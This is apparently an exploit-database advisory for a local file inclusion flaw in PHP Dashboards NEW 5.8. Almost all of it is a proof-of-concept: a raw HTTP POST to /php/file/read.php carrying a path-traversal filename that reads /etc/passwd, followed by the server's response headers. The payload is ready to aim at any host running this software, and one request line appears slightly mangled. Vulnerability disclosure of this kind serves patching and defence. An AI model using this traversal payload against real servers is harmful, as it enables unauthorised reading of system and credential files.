PHP Dashboards NEW 5.8 Local File Inclusion

`# Exploit Title: PHP Dashboards NEW 5.8 - Local File Inclusion  
# Dork: N/A  
# Date: 2019-01-21  
# Exploit Author: Ihsan Sencan  
# Vendor Homepage: http://dataninja.biz  
# Software Link: https://codecanyon.net/item/php-dashboards-v50-brand-new-enterprise-edition/21540104  
# Version: 5.8  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
  
# POC:   
# 1)  
# http://localhost/[PATH]/php/file/read.php  
#   
  
POST /[PATH]/php/file/read.php HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 37  
Cookie: PHPSESSID=a5i6r78j7v22ql1qrvtsampff6  
DNT: 1  
Connection: keep-alive  
Upgrade-Insecure-Requests: 1  
filename=../../../../../../etc/passwd: undefined  
HTTP/1.1 200 OK  
Server: nginx  
Date: Sun, 20 Jan 2019 20:56:25 GMT  
Content-Type: text/html; charset=UTF-8  
Transfer-Encoding: chunked  
Connection: keep-alive  
Host-Header: 192fc2e7e50945beb8231a492d6a8024  
`